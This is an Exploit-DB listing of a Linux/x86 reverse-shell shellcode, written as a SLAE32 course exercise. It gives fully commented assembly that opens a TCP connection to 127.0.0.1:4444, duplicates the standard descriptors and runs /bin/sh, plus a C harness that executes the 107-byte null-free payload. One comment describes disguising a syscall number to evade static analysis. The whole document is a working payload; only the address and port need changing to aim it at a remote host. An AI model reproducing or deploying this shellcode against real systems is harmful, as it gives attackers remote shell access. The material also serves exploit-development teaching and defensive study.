Linux/x86 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (107 Bytes)

EDB-ID:

47352

CVE:

N/A


Author:

guly


Platform:

Linux_x86

Date:

2019-09-05


/*
; name       : Exploit Title: Linux/x86 - TCP reverse shell 127.0.0.1 nullbyte free
; date       : 04th sept, 2019
; author     : Sandro "guly" Zaccarini
; twitter    : @theguly
; blog       : https://gulyslae.github.io/
; SLAE32     : SLAE-1037
; purpose    : the program will create a new connection to 127.0.0.1:4444 and spawns a shell
;              this code has been written as extramile for SLAE32 assignment 2
; license    : CC-BY-NC-SA

  global _start
    section .text

      _start:
      ; start by zeroing eax,ebx. not really needed because registers are clean, but better safe than sorry
      xor eax,eax
      xor ebx,ebx

      ; ----------------------------------------------------------------------------------------
      ; purpose     : create a socket
      ; references  : man socket
      ; description :
      ; socketcall is the syscall used to work with socket. i'm going to use this syscall to create and connect
      ; the very first thing i have to do, is to create the socket itself. by reading references, i see that she needs 3 registers:
      ; eax => syscall id 0x66 for socketcall, that will be the same for every socketcall call of course and that's why i created a function on top
      ; ebx => socket call id, that is 0x1 for socket creation
      ; ecx => pointer to socket args
      ;
      ; man socket shows me that socket's args are:
      ; domain   => AF_INET because i'm creating a inet socket, and is 0x2
      ; type     => tcp is referenced as STREAM, that is 0x1
      ; protocol => unneded here because there is no inner protocol, so i'll use 0x0

      ; not, i'm creating ecx because a zeroed eax is perfect for the purpose
      ; arg will be pushed in reverse order with no hardcoded address: 0, 1, 2
      push eax
      inc eax
      push eax
      inc eax
      push eax

      ; because socketcall needs a pointer, i'm moving esp address to ecx
      mov ecx,esp

      ; prepare eax to hold the socketcall value as discussed before. i'm not hardcoding 0x66 to (try to) fool some static analysis: 0x33 is sysacct and looks harmless to me
      mov al,0x33
      add al,0x33

      ; because ebx has been zeroed, i can just inc to have it to 1 for socketcall to call socket (pun intended :) )
      inc ebx

      ; do the call and create socket
      int 0x80

      ; because syscall rets to eax, if everything's good, eax will hold socket file descriptor: save it to esi to store it safe for the whole run
      mov esi,eax

      ; ----------------------------------------------------------------------------------------
      ; purpose     : connect to raddr:rport
      ; references  : man connect , man 7 ip
      ; description :
      ; eax => syscall id 0x66 for socketcall
      ; ebx => connect call id, 0x3 taken from linux/net.h
      ; ecx => pointer to address struct
      ;
      ; man connect shows me that args are:
      ; sockfd  => already saved in esi
      ; address => pointer to ip struct
      ; addrlen => addrlen is 32bit (0x10)
      ;
      ; man 7 ip shows address struct details. arguments are:
      ; family => AF_INET, so 0x2
; port   => hardcoded 4444
; addr   => 127.0.0.1

; zero again
xor eax,eax

; push arg in reverse and move the pointer to ecx
; prepare stack pointer to addr struct defined in man 7 ip
; as exercise, i'm going to use 127.0.0.1 as remote address, because it contains null bytes
; hex value of 127.0.0.1 is 0x0100007f
; pushing 0x00000000 to esp by using a known null register. i've also could used sub esp,0x8 because i have enough room, or mov eax,[esp] or another zillion of similal instructions
push eax
mov byte [esp], 0x7f
; now esp is: 0x0000007f
mov byte [esp+3],0x01
; now esp is: 0x0100007f

; push port to bind to, 4444 in hex, to adhere to msf defaults :)
push word 0x5c11
; push AF_INET value as word again
inc ebx
push word bx
; get stack pointer to ecx
mov ecx,esp

; same call to have 0x66 to eax and do socketcall
mov al,0x33
add al,0x33

; push arg, again in reverse order
push eax
; pointer to addr struct
push ecx
; sockfd, saved before to esi
push esi
; stack pointer to ecx again, to feed bind socketcall
mov ecx,esp

; ebx is 0x2, i need 0x3
inc ebx

; do the call
int 0x80

; ----------------------------------------------------------------------------------------
; purpose     : create fd used by /bin//sh
; references  : man dup2
; description : every shell has three file descriptor: STDIN(0), STDOUT(1), STDERR(2)
; this code will create said fd
; eax => 0x3f
; ebx => clientid
; ecx => newfd id, said file descriptor
;
; i'm going to create them by looping using ecx, to save some instruction. ecx will start at 2, then is dec and fd is created.
; as soon as ecx is 0, the loop ends


; i'm using a different method from one i've used for bindshell just to try.
; i'll put 0x3 to ecx to start creating STDERR just after dec
; ecx is dirty but edx is 0x0, just swap them
; edit: actually, running from a C code you'll have edx dirty. zero it...
xor edx,edx
xchg ecx,edx
mov cl,0x3

; copy socket fd to ebx to feed clientid
mov ebx,esi

; zero eax and start the loop
xor eax,eax

; dup2 call id
mov al,0x3f
; dec ecx to have 2,1,0
dec ecx
int 0x80

mov al,0x3f
; dec ecx to have 2,1,0
dec ecx
int 0x80

mov al,0x3f
; dec ecx to have 2,1,0
dec ecx
int 0x80

; ----------------------------------------------------------------------------------------
; purpose     : spawn /bin//sh
; references  : man execve
; description : put /bin//sh on the stack, aligned to 8 bytes to prevent 0x00 in the shellcode itself
; and null terminating it by pushing a zeroed register at first
; eax => execve call, 0xB
; ebx => pointer to executed string, which will be /bin//sh null terminated
; ecx => pointer to args to executed command, that could be 0x0
; edx => pointer to environment, which could be 0x0
;
; i need to push a null byte to terminate the string, i know ecx is 0x0 so i can save one op
push ecx
push 0x68732f2f
push 0x6e69622f
; here the stack will looks like a null terminated /bin/sh:
; /bin//sh\0\0\0\0\0\0\0\0

; and place pointer to ebx
mov ebx,esp

; envp to edx and ecx
push ecx
mov edx,esp
push ecx
mov ecx,esp

; execve syscall here
mov al,0xB

; and pop shell
int 0x80

; neat exit
xor eax,eax
mov al,0x1
int 0x80

*/

#include <stdio.h>
#include <string.h>

unsigned char buf[] = "\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";


void main() {
  printf("Shellcode Length:  %d\n", strlen(buf));
  int (*ret)() = (int(*)())buf;
  ret();
}